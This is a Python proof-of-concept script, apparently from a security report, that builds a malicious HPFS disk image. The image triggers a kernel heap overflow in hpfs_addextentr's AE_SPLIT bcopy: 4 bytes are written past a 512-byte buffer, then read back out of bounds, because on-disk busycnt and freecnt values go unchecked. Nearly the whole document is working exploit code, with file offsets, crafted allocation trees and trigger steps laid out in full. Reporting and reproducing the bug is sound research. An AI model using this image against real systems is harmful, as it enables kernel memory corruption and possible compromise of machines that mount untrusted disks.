DF-3138 / craft_img.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 | #!/usr/bin/env python3 """ DF-3138 — crafted HPFS image: N files whose allocation tree makes hpfs_addextentr's AE_SPLIT parent-fixup bcopy write past the end of a 512-byte AlSec buffer-cache buffer. sys/vfs/hpfs/hpfs_alsubr.c:592-601 (and the twin at :401-411): case AE_SPLIT: bcopy(ranp, AB_LASTANP(rabp), sizeof(alnode_t) * 2); AB_ADDAN(rabp); AB_LASTANP(abp) = AB_ALNODE(abp) + ab_busycnt - 1, so the 16-byte bcopy overwrites the last busy alnode AND the entry at index ab_busycnt. The only bound is the loop condition 'rabp->ab_freecnt > 0' (hpfs_alsubr.c:572) — an on-disk freecnt/busycnt pair that violates the capacity invariant (nodes: 0x1E0/8 = 60) is never validated, so with ab_busycnt = 61 and ab_freecnt = 1: * AB_LASTANP = an[60] lives in the sector slack bytes [500,508) of the 512-byte AlSec buffer -> fully attacker-controlled an_lsn; * the bcopy writes an[61] at [508,516): [508,512) slack, [512,516) = 4 bytes PAST the end of the kernel heap buffer (value: ranp[1].an_lsn = the lsn of the just-allocated split AlSec, attacker-chosen via the free-run layout of the bitmap); * P then overflows (busycnt 62, freecnt 0) and splits itself; the split bcopy at hpfs_alsubr.c:229 reads source [as_ab+8+31*8, +31*8) = abs [268,516) -> 4-byte OOB READ of the same out-of-bounds word, copied into the new AlSec's last an_lsn and then dereferenced (breadalsec) in the children-reparenting loop at :691-704. Tree per file k: fnode k (AB_NODES, 1 entry) -> Pk (AB_NODES, busycnt=61, freecnt=1, an[60] in slack -> Ck) -> Ck (leaves, busycnt=40 FULL, freecnt=0). A 1-byte pwrite at offset 512 recurses to Ck, which is full and splits immediately -> AE_SPLIT propagates to Pk's frame -> the :599 bcopy writes 4 bytes past Pk's buffer; Pk then splits (OOB read); the split propagates to the fnode root (:410, in-bounds there). usage: craft_img.py <out.img> [nfiles] """ import struct, sys SECTOR = 512 IMGSEC = 0x1000 NFILES = 40 SU_MAGIC = 0xFA53E9C5F995E849 SP_MAGIC = 0xFA5229C5F9911849 FN_MAGIC = 0xF7E40AAE D_MAGIC = 0x77E40AAE AS_MAGIC = 0x37E40AAE AB_NODES = 0x80 FN_OFF_MAGIC, FN_OFF_NAMELEN, FN_OFF_NAME = 0x00, 0x10, 0x11 FN_OFF_PARENT, FN_OFF_FLAG, FN_OFF_AB, FN_OFF_ABD, FN_OFF_SIZE = \ 0x20, 0x3B, 0x3C, 0x44, 0xA4 AB_OFF_FLAG, AB_OFF_FREECNT, AB_OFF_BUSYCNT, AB_OFF_FREEOFF = 0, 4, 5, 6 AS_OFF_AB = 0x0C AS_OFF_ABD = 0x14 def build(outpath, nfiles=NFILES): img = bytearray(IMGSEC * SECTOR) def wr32(o, v): struct.pack_into('<I', img, o, v & 0xFFFFFFFF) def wr64(o, v): struct.pack_into('<Q', img, o, v & 0xFFFFFFFFFFFFFFFF) def wr16(o, v): struct.pack_into('<H', img, o, v & 0xFFFF) def wr8(o, v): img[o] = v & 0xFF img[0] = 0xEB wr16(SECTOR - 2, 0xAA55) su = 0x10 * SECTOR wr64(su + 0, SU_MAGIC); wr8(su + 8, 2) wr32(su + 12, 0x20) wr32(su + 16, IMGSEC) wr32(su + 20, 0) wr32(su + 24, 0x30); wr32(su + 28, 0x30) wr64(0x11 * SECTOR, SP_MAGIC) wr32(0x30 * SECTOR, 0x38) bm = 0x38 * SECTOR for i in range(0x200): # everything below 0x200 busy b = bm + (i >> 3) if b < len(img): img[b] &= ~(1 << (i & 7)) for i in range(0x200, 0x400): # free run for the split allocations b = bm + (i >> 3) img[b] |= (1 << (i & 7)) # --- root fnode + dirblk with nfiles entries --- rf = 0x20 * SECTOR wr32(rf + FN_OFF_MAGIC, FN_MAGIC) wr8(rf + FN_OFF_NAMELEN, 1); img[rf + FN_OFF_NAME] = ord('.') wr32(rf + FN_OFF_PARENT, 0x20) wr8(rf + FN_OFF_FLAG, 1) img[rf + FN_OFF_AB + AB_OFF_FLAG] = 0 img[rf + FN_OFF_AB + AB_OFF_FREECNT] = 7 img[rf + FN_OFF_AB + AB_OFF_BUSYCNT] = 1 wr16(rf + FN_OFF_AB + AB_OFF_FREEOFF, 8 + 12) wr32(rf + FN_OFF_ABD + 0, 0); wr32(rf + FN_OFF_ABD + 4, 1) wr32(rf + FN_OFF_ABD + 8, 0x40) wr32(rf + FN_OFF_SIZE, 4 * SECTOR) db = 0x40 * SECTOR wr32(db + 0, D_MAGIC); wr32(db + 12, 0x20); wr32(db + 16, 0x40) dep = db + 20 for k in range(nfiles): name = ("F%02d" % k).encode() reclen = ((0x2f + len(name)) + 3) & ~3 wr16(dep + 0x00, reclen); wr16(dep + 0x02, 0) wr32(dep + 0x04, 0x60 + 3 * k) # -> fnode k wr64(dep + 0x08, 0); wr32(dep + 0x10, 512) wr64(dep + 0x18, 0); wr64(dep + 0x20, 0); wr32(dep + 0x28, 0) img[dep + 0x2e] = len(name) for i, c in enumerate(name): img[dep + 0x2f + i] = c dep += reclen wr16(dep + 0x00, 4 * SECTOR - (dep - db)) wr16(dep + 0x02, 0x08) wr32(db + 4, (dep + 4) - db) # --- per-file: fnode k @ X, Pk @ X+1, Ck @ X+2 --- for k in range(nfiles): X = 0x60 + 3 * k ff = X * SECTOR wr32(ff + FN_OFF_MAGIC, FN_MAGIC) wr32(ff + FN_OFF_PARENT, 0x20) wr8(ff + FN_OFF_NAMELEN, 3) img[ff + FN_OFF_NAME:ff + FN_OFF_NAME + 3] = ("F%02d" % k).encode() wr8(ff + FN_OFF_FLAG, 0) # VREG wr32(ff + FN_OFF_SIZE, 512) img[ff + FN_OFF_AB + AB_OFF_FLAG] = AB_NODES img[ff + FN_OFF_AB + AB_OFF_FREECNT] = 0xB img[ff + FN_OFF_AB + AB_OFF_BUSYCNT] = 1 wr16(ff + FN_OFF_AB + AB_OFF_FREEOFF, 8 + 8) wr32(ff + FN_OFF_ABD + 0, 0xFFFFFFFF) wr32(ff + FN_OFF_ABD + 4, X + 1) # an[0] -> Pk # Pk: AB_NODES, busycnt=61 (> 60 capacity), freecnt=1 p = (X + 1) * SECTOR wr32(p + 0, AS_MAGIC); wr32(p + 4, X + 1); wr32(p + 8, X) img[p + AS_OFF_AB + AB_OFF_FLAG] = AB_NODES img[p + AS_OFF_AB + AB_OFF_FREECNT] = 1 img[p + AS_OFF_AB + AB_OFF_BUSYCNT] = 61 wr16(p + AS_OFF_AB + AB_OFF_FREEOFF, 8 + 61 * 8) # 496 for j in range(61): ao = p + AS_OFF_ABD + 8 * j if j == 60: # an[60] = [500,508): sector slack, attacker-controlled wr32(ao + 0, 0xFFFFFFFF) wr32(ao + 4, X + 2) # -> Ck else: wr32(ao + 0, 0xFFFFFFFF) wr32(ao + 4, X + 2) # filler -> Ck (valid) # (an[61] at [508,516) is what the :599 bcopy will write: # [508,512) slack + [512,516) PAST the 512-byte buffer) # Ck: leaves, busycnt=40 (full), freecnt=0 -> splits immediately c = (X + 2) * SECTOR wr32(c + 0, AS_MAGIC); wr32(c + 4, X + 2); wr32(c + 8, X + 1) img[c + AS_OFF_AB + AB_OFF_FLAG] = 0 img[c + AS_OFF_AB + AB_OFF_FREECNT] = 0 img[c + AS_OFF_AB + AB_OFF_BUSYCNT] = 40 wr16(c + AS_OFF_AB + AB_OFF_FREEOFF, 8 + 40 * 12) # 488 for j in range(40): ao = c + AS_OFF_ABD + 12 * j if j == 0 or j == 39: # leaf[39] is N1's last leaf after the split; must satisfy # al_off+al_len == 1 (ralp->al_off) for the insert to work wr32(ao + 0, 0); wr32(ao + 4, 1); wr32(ao + 8, 0x100) elif j == 1: # leaf used by the 1-byte data write after the fixups wr32(ao + 0, 1); wr32(ao + 4, 1); wr32(ao + 8, 0x103) else: wr32(ao + 0, j); wr32(ao + 4, 1); wr32(ao + 8, 0x110 + j) with open(outpath, 'wb') as f: f.write(img) print("wrote %s: %d sectors, %d trigger files " "(P busycnt=61, freecnt=1 -> :599 bcopy an[61] = " "b_data[508:516), 4 bytes OOB)" % (outpath, IMGSEC, nfiles)) if __name__ == '__main__': build(sys.argv[1], int(sys.argv[2]) if len(sys.argv) > 2 else NFILES) |